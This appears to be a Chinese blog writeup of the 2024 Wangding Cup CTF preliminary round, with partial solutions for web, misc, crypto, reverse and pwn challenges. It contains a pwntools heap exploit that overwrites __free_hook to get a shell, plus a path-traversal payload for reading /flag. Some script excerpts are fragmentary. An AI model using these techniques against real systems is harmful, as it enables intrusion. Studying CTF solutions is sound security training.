白虎组“反作弊监控”(来源网顶杯官方)
本文字数:1947|预计3分钟读完
“网鼎杯”是迄今为止全球规模最大、覆盖面最广的国家级网络安全赛事,被称为网络安全“奥运会”,2024年网鼎杯第4届。
白虹贯日,虎啸八方。
白虎赛道:通信、金融、政务部门,政法、交通、医疗卫生行业。
号主结合网络,整理了部分WP,可能不太详细,敬请谅解,仅供参考学习。
文丨hacking
0
题目整体概况
总共15道题,11道题被攻克,4题未被攻克,题目难度还是很大的。】
第一名解出10道。
题目分布
Web 3(包含签到1题)、杂项 4、密码学 3、逆向 2、PWN 3
1
Web(网络安全)
一、Web01
签到题
二、Web02
难度大,只有4人做出来
涉及考点 代码审计、图片上传,目前网上未见完整WP
附件部分源码
lazy_static! {
static ref RNG: Mutex<Mt> = {
let mut safe_rng = rand::rngs::OsRng;
Mutex::new(Mt::new(safe_rng.next_u32()))
};
static ref USERS: Mutex<HashMap<String, User>> = Mutex::new(HashMap::new());
static ref COOKIES: Mutex<HashMap<String, String>> = Mutex::new(HashMap::new());
static ref USED_INVITATION_CODES: Mutex<HashSet<String>> = Mutex::new(HashSet::new());
static ref ADMIN_PASSWORD: String = {
let mut password = String::new();
for _ in 0..12 {
let next_char = (0x30u8 + (RNG.lock().unwrap().next_u32() % 0x4D) as u8) as char;
password.push(next_char);
}
println!("Admin password: {}", password);
password
};
}
async fn main() -> std::io::Result<()> {
init_admin();
HttpServer::new(|| {
let cors = Cors::default()
.allow_any_origin()
.allow_any_method()
.allow_any_header()
.supports_credentials();
App::new()
.wrap(cors)
.route("/api/user", web::get().to(get_images))
.route("/api/image/{filename}", web::get().to(serve_image))
.route("/admin/upload", web::post().to(upload_image))
.route("/register", web::post().to(register_user))
.route("/login", web::post().to(login_user))
.route("/admin.html", web::get().to(admin_html))
.route("/user.html", web::get().to(user_html))
.service(Files::new("/", "./dist").index_file("index.html"))
})
.bind("0.0.0.0:8881")?
.run()
.await
}
二、Web03
不会做
访问页面出现404,有不少同学甚至怀疑服务器出了问题,无人攻克
2
Msic(杂项)
一、Misc01(杂项)
题目提示
“找到全部异常报文,将
恶意报文中攻击者构造的`teid`按时间先后顺序进行拼接,
找到全部由攻击者触发的异常报文进行拼接,所得出的拼接
结果即为最终 flag”
1、分析流量包
下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的`teid`按时间先后顺序进行拼接”
wireshark打开 搜索字符串 teid
发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,
然后导入表格种进行分析
2、导出teid数据
使用 tshark.exe 批量提取数据包的 teid 值
tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv
3、分析表格数据
查看 teid 值,发现有两行数据存在两条异常数据,初步判
断应该是这两行数据,16进制进制转换然后进行拼接
x002f7ba5 转换 3111845
0x246cfb5b 转换 611122011
拼接提交
wdflag{3111845611122011}
2、Misc02
题目提示
某通信运营商遭受到了攻击,但始终无法发现攻击过程,请你帮忙分析流量包,发现其中存在的问题。提交的flag格式:wdflag{xxxxx}
附件提供流量包和加密算法脚本
分析流量和脚本
可以借助大模型快速分析脚本
加密脚本分析
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct
def pad(text):
while len(text) % 16 != 0:
text += ' '
return text
def encrypt(key, plaintext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b' ')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padded_plaintext = pad(plaintext).encode()
encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()
return encrypted
if __name__ == "__main__":
key = 1
msg = "123"
print(encrypt(key,msg))
文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad
用于填充文本以确保其长度是 16 的倍数,encrypt
用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1
和一个消息 msg = "123"
来进行加密,并打印出加密后的结果。
AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。
分析流量包
查看数据流
分析
密钥为475070864,待解密消息为4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1
可以运用脚本进行计算
解密脚本
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct
def pad(text):
while len(text) % 16 != 0:
text += ' '
return text
def decrypt(key, ciphertext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b' ')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
return decrypted.decode()
# Given key and ciphertext
key = 475070864
ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')
# Decrypt the ciphertext
decrypted_message = decrypt(key, ciphertext)
decrypted_message
得出结果
3、Misc03
可借助大模型分析脚本
分析流量包
需要分两步聊个脚本执行
筛选流量包中的http协议的包,将响应码导出。
分析服务器对不同输入的响应,编写脚本,
利用请求来探测和识别Base64编码的字符串,
逐步构建出隐藏的信息,最终打印出探测到的Base64编码字符串,
最后使用Base64解码得到结果
部分脚本
import pyshark
import csv
def extract_status_codes(pcap_file):
cap = pyshark.FileCapture(pcap_file, display_filter="http")
status_codes = []
for packet in cap:
try:
if 'http' in packet:
if hasattr(packet.http, 'response_code'):
status_code = packet.http.response_code
status_codes.append(status_code)
except AttributeError:
continue
cap.close()
return status_codes
def write_status_codes_to_csv(status_codes, output_file):
with open(output_file, mode='w', newline='') as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['Status Code']) # 写入标题
for code in status_codes:
writer.writerow(
) # 写入每个状态码
# 使用脚本提取状态码
pcap_file = '0.pcapng'
status_codes = extract_status_codes(pcap_file)
# 将提取的状态码写入 CSV 文件
output_file = 'status_codes.csv'
write_status_codes_to_csv(status_codes, output_file)
# 从 CSV 文件中读取状态码并转换为整数列表
status_codes_from_csv = [int(i) for i in open("status_codes.csv", "r").read().strip().split("n")[1:]] # 跳过标题行
print("Extracted HTTP Status Codes:", status_codes_from_csv)
print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')
print(end=letter)
o += letter
sys.stdout.flush()
print()
d = b64decode(o.encode() + b'=' * 4)
d = d.replace(b'$)C',b'').split(b"t")[0]
print(b64decode(d))
4、MISC04
打开附件,有三个未知文件类型文件,甩到随波逐流,
123 使用 cat 1 2 3 > 4 合并到一起,拖入随波逐流得到压缩包,伪加密修复
能解压出第一段 flag
2.png如下
还有个压缩包爆破,前面都有了,后面四个星,直接爆。
解压密码:!@#QQQ0010flag8456
解压出图片文件,拖到随波逐流,分离文件。
用 puzzlesolver 爆破宽高
得到一张png,拖到工具直接改宽高。
前端flag加后端,拼接提交。
3
PWN
一、PWN01
扩展tcache后改写mp数据结构,任意地址写入漏洞
参考脚本
from pwn import *
context.log_level="debug"
p=remote("地址",端口)
#p=process("./safenote")
libc=ELF("./libc-2.32.so")
menu=">"
def add(index,size):
p.sendlineafter(menu,'1')
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
def delete(index):
p.sendlineafter(menu,'2')
p.sendlineafter("Index: ",str(index))
def edit(index,content):
p.sendlineafter(menu,'3')
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)
def show(index):
p.sendlineafter(menu,'4')
p.sendlineafter("Index: ",str(index))
def debug():
gdb.attach(p)
pause()
def pwn():
for i in range(8):
add(i,0x80)
add(8,0x20)
delete(0)
show(0)
heap_base=u64(p.recvuntil('n',drop=True).ljust(8,'x00'))<<12
print("heap_base-->"+hex(heap_base))
for i in range(7):
delete(i+1)
add(12,0x90)
show(7)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-224-0x10-libc.sym["__malloc_hook"]
system_addr=libc_base+libc.sym["system"]
__free_hook=libc_base+libc.sym["__free_hook"]
print("libc_base-->"+hex(libc_base))
add(9,0x80)# 6&9
delete(6)
payload=p64((heap_base>>12)^__free_hook)
edit(9,payload)
add(10,0x80)
edit(10,'/bin/shx00')
add(11,0x80)
edit(11,p64(system_addr))
delete(10)
p.interactive()
pwn()
二、pwn02
4
逆向
re02
1、分析源代码
发现存在跨目录读取文件漏洞
2、使用 浏览器访问网址,打开 burp 进行抓包
修改 get 后面为/..../..../..../..../..../..../flag
即可得到答案
bp也可以
5
密码学
Crypt01
未解出
代码分析
1.导入所需的库:from sage.all import *、from Crypto.Util.number import *。
2.设置块大小和轮数:block_size = 64、rounds = 14。
3.生成伪随机排列:P_permutation = Permutations(list(range(block_size))).random_element(),以及其逆排列 inverse_P_permutation。
4.定义掩码 MASK 和初始向量 IV。
5.定义函数 pad 用于填充消息,使其长度为块大小。
6.定义函数 P 和 P_inv,分别用于对消息进行置换和反置换。
7.定义函数 S,用于对消息进行加密操作。
8.从 secret 模块中导入密钥 flag,并使用 MD5 哈希算法对其进行摘要,然后与块大小进行按位与运算,得到密钥 key。
9.对消息进行填充和分块处理,然后对每个消息块进行加密操作,得到密文 ciphertext。
10.打印密文和伪随机排列 P_permutation。
Crypt02
源代码rsa.py
from Crypto.Util.number import getPrime, isPrime, GCD, inverse
nbits = 2048
gbits = 1000
g = getPrime(int(gbits))
while True:
a = getPrime(int(nbits*0.5)-gbits)
p = 2*g*a + 1
if isPrime(p):
break
while True:
b = getPrime(int(nbits*0.5)-gbits)
q = 2*g*b + 1
if p!=q and isPrime(q):
break
N = p*q
e = 65537
def str2int(s):
return int(s.encode('latin-1').hex(),16)
def int2str(i):
tmp=hex(i)[2:]
if len(tmp)%2==1:
tmp='0'+tmp
return bytes.fromhex(tmp).decode('latin-1')
with open('pubkey.txt','w') as f:
f.write(str(e)+'n')
f.write(str(N)+'n')
with open('flag.txt') as f:
plain = str2int(f.read())
c = pow(plain,e,N)
with open('cipher.txt','wb') as f:
f.write(int2str(c).encode('latin-1'))
这段代码是一个简单的RSA加密程序。以下是代码的逐行分析:
python
复制
-
导入
Crypto.Util.number
模块中的几个函数:getPrime
用于生成质数,isPrime
用于检查一个数是否为质数,GCD
用于计算最大公约数,inverse
用于计算模逆。
python
复制
-
定义了两个比特数
nbits
和gbits
,分别用于生成大质数和小质数。 -
使用
getPrime
函数生成一个gbits
比特长的小质数g
。
python
复制
-
进入一个循环,不断生成一个
a
质数,并计算p = 2*g*a + 1
。 -
检查
p
是否为质数,如果是,则跳出循环。
python
复制
-
进入另一个循环,不断生成一个
b
质数,并计算q = 2*g*b + 1
。 -
检查
q
是否为质数,并且与p
不相同,如果是,则跳出循环。
python
-
计算
N = p*q
作为模数。 -
定义一个公开的指数
e
,通常使用65537,因为它是一个质数,并且与许多质数互质。
python
-
定义一个函数
str2int
,将字符串s
转换为整数。首先将字符串编码为拉丁-1格式的字节,然后转换为十六进制字符串,最后转换为整数。
python
-
定义一个函数
int2str
,将整数i
转换为字符串。首先将整数转换为十六进制字符串,然后确保字符串长度为偶数(如果需要,在前面添加一个0),最后将十六进制字符串转换为字节,并解码为字符串。
python
复制
-
打开文件
pubkey.txt
并写入公钥(e, N)
。
python
复制
-
打开文件
flag.txt
,读取内容,并将其转换为整数。
python
复制
-
使用公钥
(e, N)
对明文plain
进行RSA加密,得到密文c
。
python
复制
-
打开文件
cipher.txt
并写入密文c
。
这个程序创建了一个RSA公钥,并使用它来加密一个文本文件 flag.txt
,然后将加密后的密文写入 cipher.txt
文件。
from Crypto.Util.number import inverse
from sympy import factorint
# pubkey.txt 中提取的参数
N = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
e = 65537
'''
# 因式分解 N 获取 p 和 q
factors = factorint(N)
p = factors.keys()[0]
q = factors.keys()[1]
'''
q=181081097501198023069853833182353184261284123229534078254107942099502325869566163846505417960576038861954213847321685798395883194037860319430010178354074600519049325312842897561278830450748961589667396822373094094674865532726953310816962745801088563041800719074771895743022649725941252134035150899684475275107
p=270739053411293468044358005572326880715866131246316305975150551797771999927260913691624449594733673350641598358977228099278925982221096409496197961213452575581038864123668037331549492912118266914139408344450017736857756347795681452284667629499583154669046006953194443040693208729068117415444168170452989294079
# 计算 φ(N)
phi = (p - 1) * (q - 1)
# 计算私钥 d
d = inverse(e, phi)
# 从 cipher.txt 中读取密文 c
'''
with open('cipher.txt', 'rb') as f:
c = int(f.read().hex(), 16)
'''
c=46756023487662708969420947562244879950960789554982513700989856418118259419375621887858920648905486262806354184999023626235692404150899165189540627714630378757507338901641647662407321535440089829098515214606971052421641211071757097739714971088520608153639900029647609247893220706742444097284687765610613582929875498597175482452795704681526023129025689138100843670083826484626632376555523821922609833624513318445883654173079483102752918235418
Crypt03
不会
如有侵权,将及时删除
【Hacking黑白红】,一线渗透攻防实战交流公众号
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。
▶【渗透实战系列】|52-记一次"91"站点渗透
▶【渗透实战系列】51|- 一次BC站点的GetShell过程
▶【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇
▶【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置
▶【渗透实战系列】|45-记一次渗透实战-代码审计到getshell
▶【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)
▶【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
▶【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
▶【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】|29-实战|对某勒索APP的Getshell
▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(嗨嗨安全):2024网鼎杯白虎组初赛---WriteUp(部分,仅供参考学习)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论